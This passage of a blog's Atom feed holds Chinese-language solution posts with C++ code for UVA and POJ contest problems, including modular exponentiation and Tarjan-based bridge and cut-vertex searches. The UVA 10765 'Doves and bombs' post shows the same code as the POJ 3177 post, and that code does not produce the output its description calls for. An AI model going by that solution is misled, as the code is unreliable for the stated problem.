class="line"> sum3%=sum2;</span><br><span class="line"> }</span><br><span class="line"> for(X=0;X<=sum2;X++)</span><br><span class="line"> {</span><br><span class="line"> if((X*sum1-sum3)%sum2==0)</span><br><span class="line"> break;</span><br><span class="line"> }</span><br><span class="line"> if(X<=now)</span><br><span class="line"> X+=sum2;</span><br><span class="line"> cout<<"Case"<<" "<<ti++<<": the next triple peak occurs in "<<X-now<<" days.\n";</span><br><span class="line"> }</span><br><span class="line"> return 0;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<p> <a href="http://creativecommons.org/licenses/by-sa/4.0/" target="_blank" rel="noopener"> </a> 版权声明:本文为博主原创文章,遵循<a href="http://creativec
</summary>
<category term="CSDN迁移" scheme="http://yoursite.com/tags/CSDN%E8%BF%81%E7%A7%BB/"/>
</entry>
<entry>
<title>UVA, 374 Big Mod</title>
<link href="http://yoursite.com/2017/05/08/UVA,%20374%20Big%20Mod/"/>
<id>http://yoursite.com/2017/05/08/UVA, 374 Big Mod/</id>
<published>2017-05-08T10:49:38.000Z</published>
<updated>2019-09-12T06:22:21.000Z</updated>
<content type="html"><![CDATA[<p> <a href="http://creativecommons.org/licenses/by-sa/4.0/" target="_blank" rel="noopener"> </a> 版权声明:本文为博主原创文章,遵循<a href="http://creativecommons.org/licenses/by-sa/4.0/" target="_blank" rel="noopener"> CC 4.0 BY-SA </a>版权协议,转载请附上原文出处链接和本声明。 本文链接:<a href="https://blog.csdn.net/s1054436218/article/details/71429455" target="_blank" rel="noopener">https://blog.csdn.net/s1054436218/article/details/71429455</a> </p><p> 题意:R:=(B^p) mod M,现在给你B,p和m,求R。</p><p> 思路:牵扯到指数,如果硬算肯定会越界,如果每次求指数之前先求余,那也会超时,P的极值是2^31,所以可以用二分来做,省时省力。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">#include <iostream></span><br><span class="line"></span><br><span class="line">using namespace std;</span><br><span class="line">int B,P,M;</span><br><span class="line">long long slove(int B,int P,int M)</span><br><span class="line">{</span><br><span class="line"> if(P==0)</span><br><span class="line"> return 1%M;</span><br><span class="line"> if(P==1)</span><br><span class="line"> return B;</span><br><span class="line"> if(P%2==0)</span><br><span class="line"> {</span><br><span class="line"> long long s=slove(B,P/2,M);</span><br><span class="line"> return (s*s)%M;</span><br><span class="line"> }</span><br><span class="line"> long long s=slove(B,P/2,M);</span><br><span class="line"> return (s*s*B)%M;</span><br><span class="line">}</span><br><span class="line">int main()</span><br><span class="line">{</span><br><span class="line"> cin.sync_with_stdio(false);</span><br><span class="line"> while(cin>>B>>P>>M)</span><br><span class="line"> {</span><br><span class="line"> long long res=slove(B%M,P,M);</span><br><span class="line"> cout<<res<<"\n";</span><br><span class="line"> }</span><br><span class="line"> return 0;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<p> <a href="http://creativecommons.org/licenses/by-sa/4.0/" target="_blank" rel="noopener"> </a> 版权声明:本文为博主原创文章,遵循<a href="http://creativec
</summary>
<category term="CSDN迁移" scheme="http://yoursite.com/tags/CSDN%E8%BF%81%E7%A7%BB/"/>
</entry>
<entry>
<title>UVA,10765 Doves and bombs</title>
<link href="http://yoursite.com/2017/05/08/UVA%EF%BC%8C10765%20Doves%20and%20bombs/"/>
<id>http://yoursite.com/2017/05/08/UVA,10765 Doves and bombs/</id>
<published>2017-05-08T10:34:05.000Z</published>
<updated>2019-09-12T06:22:21.000Z</updated>
<content type="html"><![CDATA[<p> <a href="http://creativecommons.org/licenses/by-sa/4.0/" target="_blank" rel="noopener"> </a> 版权声明:本文为博主原创文章,遵循<a href="http://creativecommons.org/licenses/by-sa/4.0/" target="_blank" rel="noopener"> CC 4.0 BY-SA </a>版权协议,转载请附上原文出处链接和本声明。 本文链接:<a href="https://blog.csdn.net/s1054436218/article/details/71428950" target="_blank" rel="noopener">https://blog.csdn.net/s1054436218/article/details/71428950</a> </p><p> 题意:给你n个点,然后你要算出删除每个点后有多少个联通块,然后输出前m个,顺序是优先输出形成联通块多的,假如有数量相同,优先输出先输入的。</p><p> 思路:参考了一下别人的思路,用tarjan时就可以求出联通块的数量。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line">#include <iostream></span><br><span class="line">#include <algorithm></span><br><span class="line">#include <cstring></span><br><span class="line">using namespace std;</span><br><span class="line">#define MAX 5000</span><br><span class="line">bool Map[MAX+10][MAX+10],vis[MAX+10];</span><br><span class="line">int low[MAX+10],dfn[MAX+10],value[MAX+10];</span><br><span class="line">int n,m;</span><br><span class="line">int c=0;</span><br><span class="line">void dfs(int u,int pre)</span><br><span class="line">{</span><br><span class="line"> vis[u]=1;</span><br><span class="line"> low[u]=dfn[u]=++c;</span><br><span class="line"> for(int i=1;i<=n;i++)</span><br><span class="line"> {</span><br><span class="line"> if(Map[u][i])</span><br><span class="line"> {</span><br><span class="line"> if(!vis[i])</span><br><span class="line"> {</span><br><span class="line"> dfs(i,u);</span><br><span class="line"> low[u]=min(low[u],low[i]);</span><br><span class="line"> }</span><br><span class="line"> else if(i!=pre)</span><br><span class="line"> low[u]=min(low[u],dfn[i]);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line">int main()</span><br><span class="line">{</span><br><span class="line"> cin.sync_with_stdio(false);</span><br><span class="line"> int temp1,temp2;</span><br><span class="line"> while(cin>>n>>m)</span><br><span class="line"> {</span><br><span class="line"> memset(Map,0,sizeof(Map));</span><br><span class="line"> while(m--)</span><br><span class="line"> {</span><br><span class="line"> cin>>temp1>>temp2;</span><br><span class="line"> Map[temp1][temp2]=Map[temp2][temp1]=1;</span><br><span class="line"> }</span><br><span class="line"> memset(vis,0,sizeof(vis));memset(low,0,sizeof(low));memset(dfn,0,sizeof(dfn));memset(value,0,sizeof(value));</span><br><span class="line"> c=0;</span><br><span class="line"> dfs(1,1);</span><br><span class="line"> for(int i=1;i<=n;i++)</span><br><span class="line"> for(int j=1;j<=n;j++)</span><br><span class="line"> if(Map[i][j])</span><br><span class="line"> if(low[i]!=low[j])</span><br><span class="line"> {</span><br><span class="line"> value[low[j]]++;</span><br><span class="line"> }</span><br><span class="line"> int ans=count(value,value+n+1,1);</span><br><span class="line"> cout<<(ans+1)/2<<'\n';</span><br><span class="line"> }</span><br><span class="line"> return 0;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<p> <a href="http://creativecommons.org/licenses/by-sa/4.0/" target="_blank" rel="noopener"> </a> 版权声明:本文为博主原创文章,遵循<a href="http://creativec
</summary>
<category term="CSDN迁移" scheme="http://yoursite.com/tags/CSDN%E8%BF%81%E7%A7%BB/"/>
</entry>
<entry>
<title>POJ,3177 Redundant Paths</title>
<link href="http://yoursite.com/2017/05/08/POJ%EF%BC%8C3177%20Redundant%20Paths/"/>
<id>http://yoursite.com/2017/05/08/POJ,3177 Redundant Paths/</id>
<published>2017-05-08T10:27:14.000Z</published>
<updated>2019-09-12T06:22:21.000Z</updated>
<content type="html"><![CDATA[<p> <a href="http://creativecommons.org/licenses/by-sa/4.0/" target="_blank" rel="noopener"> </a> 版权声明:本文为博主原创文章,遵循<a href="http://creativecommons.org/licenses/by-sa/4.0/" target="_blank" rel="noopener"> CC 4.0 BY-SA </a>版权协议,转载请附上原文出处链接和本声明。 本文链接:<a href="https://blog.csdn.net/s1054436218/article/details/71428061" target="_blank" rel="noopener">https://blog.csdn.net/s1054436218/article/details/71428061</a> </p><p> 题意:奶牛要在n个牧场中转移,奶牛们厌倦了只有一条路可以走,所以请你来加最少的路,让牧场之间不止有一条固定的通路。</p><p> 思路:构造双连通图的问题,可以看下面的文章了解一下概念:</p><p> <a href="https://www.byvoid.com/zhs/blog/biconnect" target="_blank" rel="noopener">https://www.byvoid.com/zhs/blog/biconnect</a> </p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line">#include <iostream></span><br><span class="line">#include <algorithm></span><br><span class="line">#include <cstring></span><br><span class="line">using namespace std;</span><br><span class="line">#define MAX 5000</span><br><span class="line">bool Map[MAX+10][MAX+10],vis[MAX+10];</span><br><span class="line">int low[MAX+10],dfn[MAX+10],value[MAX+10];</span><br><span class="line">int n,m;</span><br><span class="line">int c=0;</span><br><span class="line">void dfs(int u,int pre)</span><br><span class="line">{</span><br><span class="line"> vis[u]=1;</span><br><span class="line"> low[u]=dfn[u]=++c;</span><br><span class="line"> for(int i=1;i<=n;i++)</span><br><span class="line"> {</span><br><span class="line"> if(Map[u][i])</span><br><span class="line"> {</span><br><span class="line"> if(!vis[i])</span><br><span class="line"> {</span><br><span class="line"> dfs(i,u);</span><br><span class="line"> low[u]=min(low[u],low[i]);</span><br><span class="line"> }</span><br><span class="line"> else if(i!=pre)</span><br><span class="line"> low[u]=min(low[u],dfn[i]);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line">int main()</span><br><span class="line">{</span><br><span class="line"> cin.sync_with_stdio(false);</span><br><span class="line"> int temp1,temp2;</span><br><span class="line"> while(cin>>n>>m)</span><br><span class="line"> {</span><br><span class="line"> memset(Map,0,sizeof(Map));</span><br><span class="line"> while(m--)</span><br><span class="line"> {</span><br><span class="line"> cin>>temp1>>temp2;</span><br><span class="line"> Map[temp1][temp2]=Map[temp2][temp1]=1;</span><br><span class="line"> }</span><br><span class="line"> memset(vis,0,sizeof(vis));memset(low,0,sizeof(low));memset(dfn,0,sizeof(dfn));memset(value,0,sizeof(value));</span><br><span class="line"> c=0;</span><br><span class="line"> dfs(1,1);</span><br><span class="line"> for(int i=1;i<=n;i++)</span><br><span class="line"> for(int j=1;j<=n;j++)</span><br><span class="line"> if(Map[i][j])</span><br><span class="line"> if(low[i]!=low[j])</span><br><span class="line"> {</span><br><span class="line"> value[low[j]]++;</span><br><span class="line"> }</span><br><span class="line"> int ans=count(value,value+n+1,1);</span><br><span class="line"> cout<<(ans+1)/2<<'\n';</span><br><span class="line"> }</span><br><span class="line"> return 0;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<p> <a href="http://creativecommons.org/licenses/by-sa/4.0/" target="_blank" rel="noopener"> </a> 版权声明:本文为博主原创文章,遵循<a href="http://creativec
</summary>
<category term="CSDN迁移" scheme="http://yoursite.com/tags/CSDN%E8%BF%81%E7%A7%BB/"/>
</entry>
<entry>
<title>POJ,3713 Transferring Sylla</title>
<link href="http://yoursite.com/2017/05/08/POJ%EF%BC%8C3713%20Transferring%20Sylla/"/>
<id>http://yoursite.com/2017/05/08/POJ,3713 Transferring Sylla/</id>
<published>2017-05-08T09:47:08.000Z</published>
<updated>2019-09-12T06:22:21.000Z</updated>
<content type="html"><![CDATA[<p> <a href="http://creativecommons.org/licenses/by-sa/4.0/" target="_blank" rel="noopener"> </a> 版权声明:本文为博主原创文章,遵循<a href="http://creativecommons.org/licenses/by-sa/4.0/" target="_blank" rel="noopener"> CC 4.0 BY-SA </a>版权协议,转载请附上原文出处链接和本声明。 本文链接:<a href="https://blog.csdn.net/s1054436218/article/details/71426441" target="_blank" rel="noopener">https://blog.csdn.net/s1054436218/article/details/71426441</a> </p><p> 题意:重新夺得Sylla之后,公司决定加强安保系统,就是建个运输网络,General要求这个网络必须满足每两个城市之间至少有三条独立的路线。(越看越像prison break)现在给你城市的坐标,让你判断合不合规定,复核规定就输出YES,不然就输出NO</p><p> 思路:检查样例是不是三通路,其实就是把每个点去掉以后看看剩下的点有没有割点,如果有割点就是单通路,不符合规定,如果没有割点,就输是正确的。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br></pre></td><td class="code"><pre><span class="line">#include <iostream></span><br><span class="line">#include <algorithm></span><br><span class="line">#include <cstring></span><br><span class="line">#include <vector></span><br><span class="line">using namespace std;</span><br><span class="line">vector<int> N[505];</span><br><span class="line">int Nsize,Msize;</span><br><span class="line">int Low[505],Dfn[505],visit[505];</span><br><span class="line">int depthn,root;</span><br><span class="line">bool flag;</span><br><span class="line">inline int min(int a,int b){return a<b?a:b;}</span><br><span class="line">void dfs(int p,int fa)</span><br><span class="line">{</span><br><span class="line"> int tol=0,v;</span><br><span class="line"> visit[p]=1;</span><br><span class="line"> Dfn[p]=Low[p]=depthn++;</span><br><span class="line"> for(vector<int>::iterator it=N[p].begin();it!=N[p].end();it++)</span><br><span class="line"> {</span><br><span class="line"> v=*it;</span><br><span class="line"> if(visit[v]==2) continue;</span><br><span class="line"> if(visit[v]==0)</span><br><span class="line"> {</span><br><span class="line"> dfs(v,p);tol++;</span><br><span class="line"> Low[p]=min(Low[p],Low[v]);</span><br><span class="line"> if((p==root&&tol>1)||(p!=root&&Low[v]>=Dfn[p]))</span><br><span class="line"> {</span><br><span class="line"> flag=true;</span><br><span class="line"> return ;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line"> else if(visit[v]==1&&v!=fa)</span><br><span class="line"> Low[p]=min(Low[p],Dfn[v]);</span><br><span class="line"> }</span><br><span class="line">}</span><br><span class="line">int main()</span><br><span class="line">{</span><br><span class="line"> cin.sync_with_stdio(false);</span><br><span class="line"> while(cin>>Nsize>>Msize&&(Nsize||Msize))</span><br><span class="line"> {</span><br><span class="line"> int temp1,temp2;</span><br><span class="line"> memset(Low,0,sizeof(Low));</span><br><span class="line"> memset(Dfn,0,sizeof(Dfn));</span><br><span class="line"> flag=false;</span><br><span class="line"> for(int i=0;i<Msize;i++)</span><br><span class="line"> {</span><br><span class="line"> cin>>temp1>>temp2;</span><br><span class="line"> N[temp1].push_back(temp2);</span><br><span class="line"> N[temp2].push_back(temp1);</span><br><span class="line"> }</span><br><span class="line"> for(int i=0;i<Nsize;i++)</span><br><span class="line"> {</span><br><span class="line"> memset(visit,0,sizeof(visit));</span><br><span class="line"> visit[i]=2;</span><br><span class="line"> root=0;depthn=0;</span><br><span class="line"> if(i==0) root=1;</span><br><span class="line"> dfs(root,-1);</span><br><span class="line"> for(int j=0;j<Nsize;j++)</span><br><span class="line"> {</span><br><span class="line"> if(visit[j]==0)</span><br><span class="line"> {</span><br><span class="line"> flag=true;</span><br><span class="line"> break;</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> if(flag)</span><br><span class="line"> break;</span><br><span class="line"> }</span><br><span class="line"> if(!flag)</span><br><span class="line"> cout<<"YES\n";</span><br><span class="line"> else</span><br><span class="line"> cout<<"NO\n";</span><br><span class="line"> for(int i=0;i<Nsize;i++)</span><br><span class="line"> N[i].clear();</span><br><span class="line"> }</span><br><span class="line"> return 0;</span><br><span class="line">}</span><br></pre></td></tr></table></figure>]]></content>
<summary type="html">
<p> <a href="http://creativecommons.org/licenses/by-sa/4.0/" target="_blank" rel="noopener"> </a> 版权声明:本文为博主原创文章,遵循<a href="http://creativec
</summary>
<category term="CSDN迁移" scheme="http://yoursite.com/tags/CSDN%E8%BF%81%E7%A7%BB/"/>
</entry>
</feed>